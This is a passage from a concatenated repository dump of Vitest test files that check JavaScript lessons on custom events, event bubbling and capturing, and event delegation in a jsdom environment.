event = new CustomEvent('customClick', { detail: { clickCount: 5 } }) element.dispatchEvent(event) expect(handler).toHaveBeenCalledTimes(1) expect(handler.mock.calls[0][0].detail.clickCount).toBe(5) }) // MDX lines ~190-210: Dispatching on Different Targets it('should dispatch events on document', () => { const handler = vi.fn() document.addEventListener('globalEvent', handler) document.dispatchEvent(new CustomEvent('globalEvent', { detail: { message: 'hello' } })) expect(handler).toHaveBeenCalledTimes(1) expect(handler.mock.calls[0][0].detail.message).toBe('hello') // Cleanup document.removeEventListener('globalEvent', handler) }) it('should dispatch events on window', () => { const handler = vi.fn() window.addEventListener('windowEvent', handler) window.dispatchEvent(new CustomEvent('windowEvent', { detail: { source: 'window' } })) expect(handler).toHaveBeenCalledTimes(1) // Cleanup window.removeEventListener('windowEvent', handler) }) // MDX lines ~235-255: Important: dispatchEvent is Synchronous it('should execute event handlers synchronously', () => { const order = [] order.push('1: Before dispatch') element.addEventListener('myEvent', () => { order.push('2: Inside listener') }) element.dispatchEvent(new CustomEvent('myEvent')) order.push('3: After dispatch') expect(order).toEqual([ '1: Before dispatch', '2: Inside listener', '3: After dispatch' ]) }) }) describe('Listening for Custom Events', () => { // MDX lines ~265-285: Use addEventListener it('should receive events via addEventListener', () => { const handler = vi.fn() element.addEventListener('myCustomEvent', handler) const event = new CustomEvent('myCustomEvent', { detail: { value: 'test' } }) element.dispatchEvent(event) expect(handler).toHaveBeenCalledTimes(1) expect(handler.mock.calls[0][0].detail.value).toBe('test') }) it('should support multiple listeners for the same event', () => { const handler1 = vi.fn() const handler2 = vi.fn() element.addEventListener('myCustomEvent', handler1) element.addEventListener('myCustomEvent', handler2) element.dispatchEvent(new CustomEvent('myCustomEvent')) expect(handler1).toHaveBeenCalledTimes(1) expect(handler2).toHaveBeenCalledTimes(1) }) it('should allow removing listeners', () => { const handler = vi.fn() element.addEventListener('myCustomEvent', handler) element.dispatchEvent(new CustomEvent('myCustomEvent')) expect(handler).toHaveBeenCalledTimes(1) element.removeEventListener('myCustomEvent', handler) element.dispatchEvent(new CustomEvent('myCustomEvent')) expect(handler).toHaveBeenCalledTimes(1) // Still 1, not called again }) // MDX lines ~290-300: Don't use on* properties it('should NOT work with on* properties for custom events', () => { const handler = vi.fn() // This doesn't work - custom events don't have on* properties element.onmyCustomEvent = handler element.dispatchEvent(new CustomEvent('myCustomEvent')) // Handler was never called because onmyCustomEvent isn't a real property expect(handler).not.toHaveBeenCalled() }) }) describe('Event Bubbling with Custom Events', () => { // MDX lines ~305-340: Bubbling Example it('should NOT bubble by default', () => { const parentHandler = vi.fn() parent.addEventListener('customClick', parentHandler) // Dispatch WITHOUT bubbles child.dispatchEvent(new CustomEvent('customClick', { detail: { message: 'no bubbles' } })) // Parent should NOT hear it expect(parentHandler).not.toHaveBeenCalled() }) it('should bubble when bubbles: true', () => { const parentHandler = vi.fn() parent.addEventListener('customClick', parentHandler) // Dispatch WITH bubbles child.dispatchEvent(new CustomEvent('customClick', { detail: { message: 'with bubbles' }, bubbles: true })) // Parent SHOULD hear it expect(parentHandler).toHaveBeenCalledTimes(1) expect(parentHandler.mock.calls[0][0].detail.message).toBe('with bubbles') }) it('should set correct target and currentTarget during bubbling', () => { let capturedTarget = null let capturedCurrentTarget = null parent.addEventListener('test', (e) => { capturedTarget = e.target capturedCurrentTarget = e.currentTarget }) child.dispatchEvent(new CustomEvent('test', { bubbles: true })) expect(capturedTarget).toBe(child) // Original dispatcher expect(capturedCurrentTarget).toBe(parent) // Element handling the event }) // MDX Question 2: Will the parent hear this event? it('Question 2: parent should NOT hear non-bubbling event', () => { const parentHandler = vi.fn() parent.addEventListener('notify', parentHandler) child.dispatchEvent(new CustomEvent('notify', { detail: { message: 'hello' } })) expect(parentHandler).not.toHaveBeenCalled() }) }) describe('Canceling Custom Events', () => { // MDX lines ~350-390: Canceling Custom Events it('should return true when event is not canceled', () => { element.addEventListener('action', () => { // Don't call preventDefault }) const event = new CustomEvent('action', { cancelable: true }) const result = element.dispatchEvent(event) expect(result).toBe(true) }) it('should return false when preventDefault is called', () => { element.addEventListener('action', (e) => { e.preventDefault() }) const event = new CustomEvent('action', { cancelable: true }) const result = element.dispatchEvent(event) expect(result).toBe(false) }) it('should ignore preventDefault when cancelable is false', () => { element.addEventListener('action', (e) => { e.preventDefault() }) // Without cancelable: true const event = new CustomEvent('action') const result = element.dispatchEvent(event) // Returns true even though preventDefault was called expect(result).toBe(true) }) // MDX Question 3: What does dispatchEvent return here? it('Question 3: dispatchEvent returns false when canceled', () => { const event = new CustomEvent('action', { cancelable: true }) element.addEventListener('action', (e) => { e.preventDefault() }) const result = element.dispatchEvent(event) expect(result).toBe(false) }) it('should allow checking defaultPrevented property', () => { element.addEventListener('test', (e) => { e.preventDefault() }) const event = new CustomEvent('test', { cancelable: true }) element.dispatchEvent(event) expect(event.defaultPrevented).toBe(true) }) }) describe('Component Communication Pattern', () => { // MDX lines ~400-450: Shopping Cart Example it('should enable decoupled component communication', () => { // Simulate ShoppingCart class const cartElement = document.createElement('div') cartElement.id = 'shopping-cart' document.body.appendChild(cartElement) const items = [] function addItem(item) { items.push(item) cartElement.dispatchEvent(new CustomEvent('cart:itemAdded', { detail: { item, totalItems: items.length }, bubbles: true })) } // Simulate CartBadge listener const badgeUpdates = [] document.addEventListener('cart:itemAdded', (e) => { badgeUpdates.push(e.detail.totalItems) }) // Add items addItem({ id: 1, name: 'Apple' }) addItem({ id: 2, name: 'Banana' }) expect(badgeUpdates).toEqual([1, 2]) }) }) describe('Common Mistakes', () => { // MDX Common Mistakes section it('Mistake 1: forgetting bubbles: true', () => { const parentHandler = vi.fn() parent.addEventListener('notify', parentHandler) // Without bubbles - parent won't hear it child.dispatchEvent(new CustomEvent('notify', { detail: { message: 'hello' } })) expect(parentHandler).not.toHaveBeenCalled() // With bubbles - parent will hear it child.dispatchEvent(new CustomEvent('notify', { detail: { message: 'hello' }, bubbles: true })) expect(parentHandler).toHaveBeenCalledTimes(1) }) // MDX Question 4: Why doesn't this work? it('Question 4: on* properties do not work for custom events', () => { const handler = vi.fn() // This doesn't work element.oncustomEvent = handler element.dispatchEvent(new CustomEvent('customEvent')) expect(handler).not.toHaveBeenCalled() // This works element.addEventListener('customEvent', handler) element.dispatchEvent(new CustomEvent('customEvent')) expect(handler).toHaveBeenCalledTimes(1) }) it('Mistake 3: dispatching on wrong element', () => { const sidebar = document.createElement('div') sidebar.id = 'sidebar' const header = document.createElement('div') header.id = 'header' document.body.appendChild(sidebar) document.body.appendChild(header) const sidebarHandler = vi.fn() sidebar.addEventListener('update', sidebarHandler) // Dispatching on header - sidebar won't hear it header.dispatchEvent(new CustomEvent('update')) expect(sidebarHandler).not.toHaveBeenCalled() // Dispatch on document for global events const globalHandler = vi.fn() document.addEventListener('update', globalHandler) document.dispatchEvent(new CustomEvent('update')) expect(globalHandler).toHaveBeenCalledTimes(1) // Cleanup document.removeEventListener('update', globalHandler) }) it('Mistake 4: forgetting cancelable: true', () => { element.addEventListener('submit', e => e.preventDefault()) // Without cancelable - returns true even with preventDefault const eventWithoutCancelable = new CustomEvent('submit') const result1 = element.dispatchEvent(eventWithoutCancelable) expect(result1).toBe(true) // With cancelable - returns false when preventDefault is called const eventWithCancelable = new CustomEvent('submit', { cancelable: true }) const result2 = element.dispatchEvent(eventWithCancelable) expect(result2).toBe(false) }) // MDX Question 5: synchronous execution it('Question 5: dispatchEvent is synchronous', () => { let value = 'before' element.addEventListener('sync', () => { value = 'inside' }) element.dispatchEvent(new CustomEvent('sync')) // Value is 'inside' immediately - not 'before'! expect(value).toBe('inside') }) }) describe('Opening Example', () => { // MDX lines ~10-20: Opening code example it('should demonstrate userLoggedIn custom event', () => { const messages = [] // Listen for the event document.addEventListener('userLoggedIn', (e) => { messages.push(`Welcome, ${e.detail.username}!`) }) // Create and dispatch the event const event = new CustomEvent('userLoggedIn', { detail: { username: 'alice', timestamp: Date.now() } }) document.dispatchEvent(event) expect(messages).toEqual(['Welcome, alice!']) // Cleanup document.removeEventListener('userLoggedIn', () => {}) }) }) describe('Real-world Patterns', () => { it('should support namespaced event names', () => { const events = [] document.addEventListener('cart:updated', (e) => events.push('cart:updated')) document.addEventListener('modal:opened', (e) => events.push('modal:opened')) document.addEventListener('user:loggedIn', (e) => events.push('user:loggedIn')) document.dispatchEvent(new CustomEvent('cart:updated')) document.dispatchEvent(new CustomEvent('modal:opened')) document.dispatchEvent(new CustomEvent('user:loggedIn')) expect(events).toEqual(['cart:updated', 'modal:opened', 'user:loggedIn']) }) it('should work with delegation pattern', () => { const list = document.createElement('ul') const item1 = document.createElement('li') const item2 = document.createElement('li') list.appendChild(item1) list.appendChild(item2) document.body.appendChild(list) const selectedItems = [] // Single listener on parent using delegation list.addEventListener('item:selected', (e) => { selectedItems.push(e.detail.itemId) }) // Dispatch from children with bubbles item1.dispatchEvent(new CustomEvent('item:selected', { detail: { itemId: 1 }, bubbles: true })) item2.dispatchEvent(new CustomEvent('item:selected', { detail: { itemId: 2 }, bubbles: true })) expect(selectedItems).toEqual([1, 2]) }) }) }) ================================================ FILE: tests/beyond/events/custom-events/custom-events.test.js ================================================ import { describe, it, expect, vi } from 'vitest' /** * Tests for Custom Events concept page * Source: /docs/beyond/concepts/custom-events.mdx */ describe('Custom Events', () => { describe('Creating Custom Events', () => { // MDX lines ~70-90: The CustomEvent Constructor it('should create a simple custom event with just a name', () => { const event = new CustomEvent('hello') expect(event.type).toBe('hello') expect(event.detail).toBe(null) expect(event.bubbles).toBe(false) expect(event.cancelable).toBe(false) }) it('should create a custom event with detail data', () => { const event = new CustomEvent('userAction', { detail: { action: 'click', target: 'button' } }) expect(event.type).toBe('userAction') expect(event.detail.action).toBe('click') expect(event.detail.target).toBe('button') }) it('should create a custom event with all options', () => { const event = new CustomEvent('formSubmit', { detail: { formId: 'login', data: { user: 'alice' } }, bubbles: true, cancelable: true }) expect(event.type).toBe('formSubmit') expect(event.detail.formId).toBe('login') expect(event.detail.data.user).toBe('alice') expect(event.bubbles).toBe(true) expect(event.cancelable).toBe(true) }) // MDX lines ~95-105: Event Options Explained it('should have correct default options', () => { const event = new CustomEvent('test') expect(event.detail).toBe(null) expect(event.bubbles).toBe(false) expect(event.cancelable).toBe(false) expect(event.composed).toBe(false) }) }) describe('Passing Data with detail', () => { // MDX lines ~115-140: detail property examples it('should accept primitive values in detail', () => { const numberEvent = new CustomEvent('count', { detail: 42 }) const stringEvent = new CustomEvent('message', { detail: 'Hello!' }) expect(numberEvent.detail).toBe(42) expect(stringEvent.detail).toBe('Hello!') }) it('should accept objects in detail', () => { const timestamp = Date.now() const event = new CustomEvent('userLoggedIn', { detail: { userId: 123, username: 'alice', timestamp } }) expect(event.detail.userId).toBe(123) expect(event.detail.username).toBe('alice') expect(event.detail.timestamp).toBe(timestamp) }) it('should accept arrays in detail', () => { const event = new CustomEvent('itemsSelected', { detail: ['item1', 'item2', 'item3'] }) expect(event.detail).toEqual(['item1', 'item2', 'item3']) expect(event.detail.length).toBe(3) }) it('should accept functions in detail', () => { const getText = () => 'Hello World' const event = new CustomEvent('callback', { detail: { getText } }) expect(typeof event.detail.getText).toBe('function') expect(event.detail.getText()).toBe('Hello World') }) // MDX lines ~145-160: Accessing detail in listeners it('should provide read-only detail property (reference)', () => { const originalDetail = { username: 'alice', userId: 123 } const event = new CustomEvent('test', { detail: originalDetail }) // detail property itself is read-only (can't reassign) // but the object reference is the same, so mutations affect it expect(event.detail.username).toBe('alice') // Mutating the object works (though not recommended) event.detail.username = 'bob' expect(event.detail.username).toBe('bob') }) }) describe('Custom Events vs Native Events', () => { // MDX lines ~295-310: The isTrusted Property it('should have isTrusted set to false for custom events', () => { const event = new CustomEvent('customClick') expect(event.isTrusted).toBe(false) }) it('should inherit from Event', () => { const event = new CustomEvent('test', { detail: { value: 1 } }) expect(event instanceof Event).toBe(true) expect(event instanceof CustomEvent).toBe(true) }) }) describe('Test Your Knowledge Examples', () => { // MDX Question 1 it('Question 1: should show detail.value and isTrusted', () => { const event = new CustomEvent('test', { detail: { value: 42 } }) expect(event.detail.value).toBe(42) expect(event.isTrusted).toBe(false) }) }) }) ================================================ FILE: tests/beyond/events/event-bubbling-capturing/event-bubbling-capturing.dom.test.js ================================================ /** * @vitest-environment jsdom */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' // ============================================================ // EVENT BUBBLING & CAPTURING TESTS // From event-bubbling-capturing.mdx // ============================================================ describe('Event Bubbling & Capturing', () => { let container beforeEach(() => { container = document.createElement('div') container.id = 'test-container' document.body.appendChild(container) }) afterEach(() => { document.body.innerHTML = '' vi.restoreAllMocks() }) // ============================================================ // EVENT BUBBLING IN ACTION // From lines ~95-120 // ============================================================ describe('Event Bubbling in Action', () => { // From lines ~95-115: Nested element click bubbling it('should bubble events from child to parent to grandparent', () => { // Setup HTML structure const grandparent = document.createElement('div') grandparent.className = 'grandparent' const parent = document.createElement('div') parent.className = 'parent' const child = document.createElement('button') child.className = 'child' child.textContent = 'Click me' parent.appendChild(child) grandparent.appendChild(parent) container.appendChild(grandparent) // Track order of handler calls const output = [] grandparent.addEventListener('click', () => { output.push('Grandparent clicked') }) parent.addEventListener('click', () => { output.push('Parent clicked') }) child.addEventListener('click', () => { output.push('Child clicked') }) // Click the child button child.click() // Events bubble from child → parent → grandparent expect(output).toEqual([ 'Child clicked', 'Parent clicked', 'Grandparent clicked' ]) }) // From lines ~120-140: Event delegation pattern it('should enable event delegation via bubbling', () => { const buttonContainer = document.createElement('div') buttonContainer.className = 'button-container' const btn1 = document.createElement('button') btn1.className = 'btn' btn1.textContent = 'Button 1' const btn2 = document.createElement('button') btn2.className = 'btn' btn2.textContent = 'Button 2' buttonContainer.appendChild(btn1) buttonContainer.appendChild(btn2) container.appendChild(buttonContainer) const clicks = [] // Single listener on parent (event delegation) buttonContainer.addEventListener('click', (e) => { if (e.target.matches('.btn')) { clicks.push(e.target.textContent) } }) btn1.click() btn2.click() expect(clicks).toEqual(['Button 1', 'Button 2']) }) }) // ============================================================ // LISTENING DURING CAPTURING PHASE // From lines ~145-185 // ============================================================ describe('Listening During Capturing Phase', () => { // From lines ~170-185: Capture vs bubble order it('should fire capturing handlers before bubbling handlers', () => { const parent = document.createElement('div') parent.className = 'parent' const child = document.createElement('button') child.className = 'child' parent.appendChild(child) container.appendChild(parent) const output = [] // Capturing handler (fires first, on way down) parent.addEventListener('click', () => { output.push('Parent - capturing') }, true) // Target handler child.addEventListener('click', () => { output.push('Child - target') }) // Bubbling handler (fires last, on way up) parent.addEventListener('click', () => { output.push('Parent - bubbling') }) child.click() expect(output).toEqual([ 'Parent - capturing', 'Child - target', 'Parent - bubbling' ]) }) // From lines ~155-160: Different ways to specify capture it('should accept different capture option formats', () => { const element = document.createElement('div') container.appendChild(element) const handlers = [] // All these are equivalent for capture: true const handler1 = () => handlers.push(1) const handler2 = () => handlers.push(2) element.addEventListener('click', handler1, true) element.addEventListener('click', handler2, { capture: true }) element.click() // Both handlers should fire expect(handlers).toContain(1) expect(handlers).toContain(2) }) }) // ============================================================ // THE eventPhase PROPERTY // From lines ~190-230 // ============================================================ describe('The eventPhase Property', () => { // From lines ~195-205: eventPhase values it('should return correct eventPhase values during propagation', () => { const parent = document.createElement('div') parent.className = 'parent' const child = document.createElement('button') child.className = 'child' parent.appendChild(child) container.appendChild(parent) const phases = [] // Capture phase listener on parent parent.addEventListener('click', (e) => { phases.push({ element: 'parent-capture', phase: e.eventPhase }) }, true) // Bubble phase listener on parent parent.addEventListener('click', (e) => { phases.push({ element: 'parent-bubble', phase: e.eventPhase }) }) // Target listener on child child.addEventListener('click', (e) => { phases.push({ element: 'child', phase: e.eventPhase }) }) child.click() // eventPhase: 1 = CAPTURING, 2 = AT_TARGET, 3 = BUBBLING expect(phases).toEqual([ { element: 'parent-capture', phase: 1 }, // CAPTURING_PHASE { element: 'child', phase: 2 }, // AT_TARGET { element: 'parent-bubble', phase: 3 } // BUBBLING_PHASE ]) }) // From lines ~220-230: Both handlers fire at target when clicking directly it('should report AT_TARGET phase for both capture and bubble on clicked element', () => { const element = document.createElement('div') element.className = 'parent' container.appendChild(element) const phases = [] element.addEventListener('click', (e) => { phases.push({ handler: 'capture', phase: e.eventPhase }) }, true) element.addEventListener('click', (e) => { phases.push({ handler: 'bubble', phase: e.eventPhase }) }) // Click the element directly (not a child) element.click() // Both are AT_TARGET (2) when clicking the element itself expect(phases).toEqual([ { handler: 'capture', phase: 2 }, { handler: 'bubble', phase: 2 } ]) }) }) // ============================================================ // event.target vs event.currentTarget // From lines ~235-275 // ============================================================ describe('event.target vs event.currentTarget', () => { // From lines ~240-255: target vs currentTarget difference it('should distinguish target from currentTarget during bubbling', () => { const parent = document.createElement('div') parent.className = 'parent' const child = document.createElement('button') child.className = 'child' parent.appendChild(child) container.appendChild(parent) let capturedTarget = null let capturedCurrentTarget = null parent.addEventListener('click', (e) => { capturedTarget = e.target.className capturedCurrentTarget = e.currentTarget.className }) // Click the child, handler is on parent child.click() expect(capturedTarget).toBe('child') // What was clicked expect(capturedCurrentTarget).toBe('parent') // Where listener is }) // From lines ~260-275: Using closest() for delegation it('should find correct element using closest() in delegated handler', () => { const list = document.createElement('ul') list.className = 'list' const item1 = document.createElement('li') item1.innerHTML = '<span>Item 1</span>' const item2 = document.createElement('li') item2.innerHTML = '<span>Item 2</span>' list.appendChild(item1) list.appendChild(item2) container.appendChild(list) const clickedItems = [] list.addEventListener('click', (e) => { const listItem = e.target.closest('li') if (listItem) { clickedItems.push(listItem.textContent) } }) // Click the span inside item1 (not the li directly) item1.querySelector('span').click() expect(clickedItems).toEqual(['Item 1']) }) }) // ============================================================ // STOPPING EVENT PROPAGATION // From lines ~280-360 // ============================================================ describe('Stopping Event Propagation', () => { // From lines ~285-310: stopPropagation allows same-element handlers it('should stop propagation but allow other handlers on same element', () => { const parent = document.createElement('div') parent.className = 'parent' const child = document.createElement('button') child.className = 'child' parent.appendChild(child) container.appendChild(parent) const output = [] parent.addEventListener('click', () => { output.push('Parent handler') }) child.addEventListener('click', (e) => { output.push('Child handler 1') e.stopPropagation() }) child.addEventListener('click', () => { output.push('Child handler 2') }) child.click() // stopPropagation stops parent but not other child handlers expect(output).toEqual([ 'Child handler 1', 'Child handler 2' ]) expect(output).not.toContain('Parent handler') }) // From lines ~315-335: stopImmediatePropagation stops everything it('should stop all handlers including same element with stopImmediatePropagation', () => { const child = document.createElement('button') child.className = 'child' container.appendChild(child) const output = [] child.addEventListener('click', (e) => { output.push('Child handler 1') e.stopImmediatePropagation() }) child.addEventListener('click', () => { output.push('Child handler 2') }) child.click() expect(output).toEqual(['Child handler 1']) expect(output).not.toContain('Child handler 2') }) // From lines ~340-360: stopPropagation vs preventDefault it('should distinguish stopPropagation from preventDefault', () => { const parent = document.createElement('div') const link = document.createElement('a') link.href = 'https://example.com' link.textContent = 'Click me' parent.appendChild(link) container.appendChild(parent) let parentHandlerFired = false let defaultPrevented = false parent.addEventListener('click', () => { parentHandlerFired = true }) link.addEventListener('click', (e) => { e.preventDefault() // Stop navigation defaultPrevented = e.defaultPrevented // NOT calling stopPropagation - event should still bubble }) link.click() // preventDefault stops default action, not bubbling expect(defaultPrevented).toBe(true) expect(parentHandlerFired).toBe(true) // Event still bubbled }) it('should stop bubbling with stopPropagation but not prevent default', () => { const parent = document.createElement('div') const link = document.createElement('a') link.href = 'https://example.com' parent.appendChild(link) container.appendChild(parent) let parentHandlerFired = false parent.addEventListener('click', () => { parentHandlerFired = true }) link.addEventListener('click', (e) => { e.stopPropagation() // Stop bubbling // NOT calling preventDefault - default would happen (if not jsdom) }) link.click() // stopPropagation stops bubbling expect(parentHandlerFired).toBe(false) }) }) // ============================================================ // EVENTS THAT DON'T BUBBLE // From lines ~380-420 // ============================================================ describe('Events That Don\'t Bubble', () => { // From lines ~385-395: focus doesn't bubble it('should not bubble focus events', () => { const form = document.createElement('form') const input = document.createElement('input') input.type = 'text' form.appendChild(input) container.appendChild(form) let formFocusFired = false form.addEventListener('focus', () => { formFocusFired = true }) input.focus() // focus doesn't bubble expect(formFocusFired).toBe(false) }) // From lines ~395-405: focusin does bubble it('should bubble focusin events (alternative to focus)', () => { const form = document.createElement('form') const input = document.createElement('input') input.type = 'text' form.appendChild(input) container.appendChild(form) let formFocusinFired = false form.addEventListener('focusin', () => { formFocusinFired = true }) input.focus() // focusin DOES bubble expect(formFocusinFired).toBe(true) }) // From lines ~410-420: checking bubbles property it('should allow checking if event bubbles via bubbles property', () => { // Use an input element since it's focusable const input = document.createElement('input') input.type = 'text' container.appendChild(input) let clickBubbles = null let focusBubbles = null input.addEventListener('click', (e) => { clickBubbles = e.bubbles }) input.addEventListener('focus', (e) => { focusBubbles = e.bubbles }) input.click() input.focus() expect(clickBubbles).toBe(true) expect(focusBubbles).toBe(false) }) }) // ============================================================ // WHEN TO USE CAPTURING // From lines ~425-470 // ============================================================ describe('When to Use Capturing', () => { // From lines ~430-440: Intercepting events before target it('should intercept events before they reach target using capture', () => { const output = [] const button = document.createElement('button') container.appendChild(button) // Capture listener on document logs first document.addEventListener('click', () => { output.push('Document captured click') }, true) button.addEventListener('click', () => { output.push('Button clicked') }) button.click() expect(output[0]).toBe('Document captured click') expect(output[1]).toBe('Button clicked') // Cleanup document.removeEventListener('click', () => {}, true) }) // From lines ~445-460: Cancel all clicks pattern it('should block events using capture phase', () => { let disableClicks = true const output = [] const button = document.createElement('button') container.appendChild(button) // Capture handler that can block const blocker = (e) => { if (disableClicks) { e.stopPropagation() output.push('Click blocked!') } } container.addEventListener('click', blocker, true) button.addEventListener('click', () => { output.push('Button clicked') }) // With disableClicks = true, click is blocked button.click() expect(output).toEqual(['Click blocked!']) // Enable clicks disableClicks = false output.length = 0 button.click() expect(output).toEqual(['Button clicked']) }) }) // ============================================================ // COMMON MISTAKES // From lines ~475-530 // ============================================================ describe('Common Mistakes', () => { // From lines ~480-495: Forgetting capture when removing listeners it('should fail to remove listener if capture flag mismatches', () => { const element = document.createElement('button') container.appendChild(element) let callCount = 0 const handler = () => callCount++ // Add with capture: true element.addEventListener('click', handler, true) // Try to remove without capture (wrong!) element.removeEventListener('click', handler) // Handler still attached element.click() expect(callCount).toBe(1) // Correct removal with matching capture flag element.removeEventListener('click', handler, true) element.click() expect(callCount).toBe(1) // No additional calls }) // From lines ~510-530: Using correct property (target vs currentTarget) it('should use closest() instead of just target for delegation', () => { const list = document.createElement('ul') const item = document.createElement('li') const span = document.createElement('span') span.textContent = 'Click me' span.className = 'inner' item.className = 'item' item.appendChild(span) list.appendChild(item) container.appendChild(list) let wrongSelection = null let correctSelection = null list.addEventListener('click', (e) => { // Wrong: might select the span, not the li wrongSelection = e.target.className // Correct: find the actual list item const listItem = e.target.closest('li') correctSelection = listItem ? listItem.className : null }) // Click the span inside the li span.click() expect(wrongSelection).toBe('inner') // Got the span expect(correctSelection).toBe('item') // Got the li }) }) // ============================================================ // MULTIPLE HANDLERS ORDER // ============================================================ describe('Handler Execution Order', () => { it('should execute same-element handlers in registration order', () => { const element = document.createElement('div') container.appendChild(element) const output = [] element.addEventListener('click', () => output.push(1)) element.addEventListener('click', () => output.push(2)) element.addEventListener('click', () => output.push(3)) element.click() expect(output).toEqual([1, 2, 3]) }) it('should execute capturing handlers before bubbling handlers at any level', () => { const grandparent = document.createElement('div') const parent = document.createElement('div') const child = document.createElement('button') parent.appendChild(child) grandparent.appendChild(parent) container.appendChild(grandparent) const output = [] // Mix of capture and bubble handlers grandparent.addEventListener('click', () => output.push('GP-capture'), true) parent.addEventListener('click', () => output.push('P-capture'), true) grandparent.addEventListener('click', () => output.push('GP-bubble')) parent.addEventListener('click', () => output.push('P-bubble')) child.addEventListener('click', () => output.push('Child')) child.click() // Capture phase (down): GP → P // Target phase: Child // Bubble phase (up): P → GP expect(output).toEqual([ 'GP-capture', 'P-capture', 'Child', 'P-bubble', 'GP-bubble' ]) }) }) }) ================================================ FILE: tests/beyond/events/event-delegation/event-delegation.test.js ================================================ /** * @vitest-environment jsdom */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' /** * Tests for Event Delegation concept page * Source: docs/beyond/concepts/event-delegation.mdx */ describe('Event Delegation', () => { let container beforeEach(() => { // Set up a fresh DOM container for each test container = document.createElement('div') container.id = 'test-container' document.body.appendChild(container) }) afterEach(() => { // Clean up after each test document.body.removeChild(container) container = null }) describe('event.target vs event.currentTarget', () => { // Source: docs/beyond/concepts/event-delegation.mdx:78-85 it('should demonstrate target vs currentTarget difference', () => { // Set up nested structure container.innerHTML = ` <ul id="menu"> <li> <button id="test-button">Click</button> </li> </ul> ` const menu = document.getElementById('menu') const button = document.getElementById('test-button') let capturedTarget = null let capturedCurrentTarget = null menu.addEventListener('click', (event) => { capturedTarget = event.target capturedCurrentTarget = event.currentTarget }) // Simulate click on the button button.click() // target is the button (what was clicked) expect(capturedTarget).toBe(button) expect(capturedTarget.tagName).toBe('BUTTON') // currentTarget is the ul (where listener is attached) expect(capturedCurrentTarget).toBe(menu) expect(capturedCurrentTarget.tagName).toBe('UL') }) // Source: docs/beyond/concepts/event-delegation.mdx:87-102 it('should show target changes based on click location while currentTarget stays constant', () => { container.innerHTML = ` <div id="outer"> <p id="para"> <span id="inner">Click me</span> </p> </div> ` const outer = document.getElementById('outer') const span = document.getElementById('inner') const para = document.getElementById('para') const targets = [] const currentTargets = [] outer.addEventListener('click', (event) => { targets.push(event.target) currentTargets.push(event.currentTarget) }) // Click the span span.click() expect(targets[0]).toBe(span) expect(currentTargets[0]).toBe(outer) // Click the paragraph para.click() expect(targets[1]).toBe(para) expect(currentTargets[1]).toBe(outer) // Always outer }) }) describe('Element.matches() for filtering', () => { // Source: docs/beyond/concepts/event-delegation.mdx:104-130 it('should filter events using matches()', () => { container.innerHTML = ` <div class="container"> <button class="btn">Regular</button> <button class="btn delete-btn">Delete</button> <button class="btn primary" disabled>Disabled Primary</button> <button class="btn primary">Enabled Primary</button> <span data-action="test">Not a button</span> </div> ` const containerEl = container.querySelector('.container') const results = [] containerEl.addEventListener('click', (event) => { if (event.target.matches('button')) { results.push('button') } if (event.target.matches('.delete-btn')) { results.push('delete') } if (event.target.matches('[data-action]')) { results.push('action: ' + event.target.dataset.action) } if (event.target.matches('button.primary:not(:disabled)')) { results.push('enabled-primary') } }) // Click delete button container.querySelector('.delete-btn').click() expect(results).toContain('button') expect(results).toContain('delete') // Reset and click span with data-action results.length = 0 container.querySelector('[data-action]').click() expect(results).toContain('action: test') expect(results).not.toContain('button') // Reset and click enabled primary button results.length = 0 container.querySelector('button.primary:not(:disabled)').click() expect(results).toContain('button') expect(results).toContain('enabled-primary') }) }) describe('Element.closest() for nested elements', () => { // Source: docs/beyond/concepts/event-delegation.mdx:132-162 it('should find ancestor elements using closest()', () => { container.innerHTML = ` <div class="container"> <button class="action-btn"> <i class="icon" id="icon-element">icon</i> <span id="span-element">Delete</span> </button> </div> ` const containerEl = container.querySelector('.container') const icon = document.getElementById('icon-element') const span = document.getElementById('span-element') const button = container.querySelector('.action-btn') let foundButton = null containerEl.addEventListener('click', (event) => { // Use closest to find the button, regardless of what was clicked foundButton = event.target.closest('.action-btn') }) // Click the icon inside the button icon.click() expect(foundButton).toBe(button) // Click the span inside the button foundButton = null span.click() expect(foundButton).toBe(button) // Click the button itself foundButton = null button.click() expect(foundButton).toBe(button) }) it('should return null when no ancestor matches', () => { container.innerHTML = ` <div class="container"> <span class="outside">Outside</span> <button class="action-btn">Inside</button> </div> ` const containerEl = container.querySelector('.container') const outside = container.querySelector('.outside') let foundButton = null containerEl.addEventListener('click', (event) => { foundButton = event.target.closest('.action-btn') }) outside.click() expect(foundButton).toBeNull() }) }) describe('Basic event delegation pattern', () => { // Source: docs/beyond/concepts/event-delegation.mdx:188-215 it('should handle clicks on list items with delegation', () => { container.innerHTML = ` <ul id="todo-list"> <li data-id="1">Buy groceries</li> <li data-id="2">Walk the dog</li> <li data-id="3">Finish report</li> </ul> ` const todoList = document.getElementById('todo-list') const clickedIds = [] todoList.addEventListener('click', (event) => { const item = event.target.closest('li') if (item) { clickedIds.push(item.dataset.id) item.classList.toggle('completed') } }) // Click first item container.querySelector('li[data-id="1"]').click() expect(clickedIds).toContain('1') expect(container.querySelector('li[data-id="1"]').classList.contains('completed')).toBe(true) // Click second item container.querySelector('li[data-id="2"]').click() expect(clickedIds).toContain('2') // Click first item again to toggle off container.querySelector('li[data-id="1"]').click() expect(container.querySelector('li[data-id="1"]').classList.contains('completed')).toBe(false) }) }) describe('Handling dynamic elements', () => { // Source: docs/beyond/concepts/event-delegation.mdx:221-262 it('should automatically handle dynamically added elements', () => { container.innerHTML = `<ul id="todo-list"></ul>` const todoList = document.getElementById('todo-list') const clickedTexts = [] // Set up delegation BEFORE adding items todoList.addEventListener('click', (event) => { if (event.target.matches('li')) { clickedTexts.push(event.target.textContent) event.target.classList.toggle('completed') } }) // Add items dynamically function addTodo(text) { const li = document.createElement('li') li.textContent = text todoList.appendChild(li) } addTodo('First task') addTodo('Second task') addTodo('Third task') // Click dynamically added items - they should work! const items = todoList.querySelectorAll('li') items[0].click() items[1].click() expect(clickedTexts).toEqual(['First task', 'Second task']) expect(items[0].classList.contains('completed')).toBe(true) expect(items[1].classList.contains('completed')).toBe(true) expect(items[2].classList.contains('completed')).toBe(false) }) }) describe('Action buttons with data-action pattern', () => { // Source: docs/beyond/concepts/event-delegation.mdx:308-334 it('should dispatch to correct action based on data-action attribute', () => { container.innerHTML = ` <div id="toolbar"> <button data-action="save">Save</button> <button data-action="load">Load</button> <button data-action="delete">Delete</button> </div> ` const executedActions = [] const actions = { save() { executedActions.push('save') }, load() { executedActions.push('load') }, delete() { executedActions.push('delete') } } const toolbar 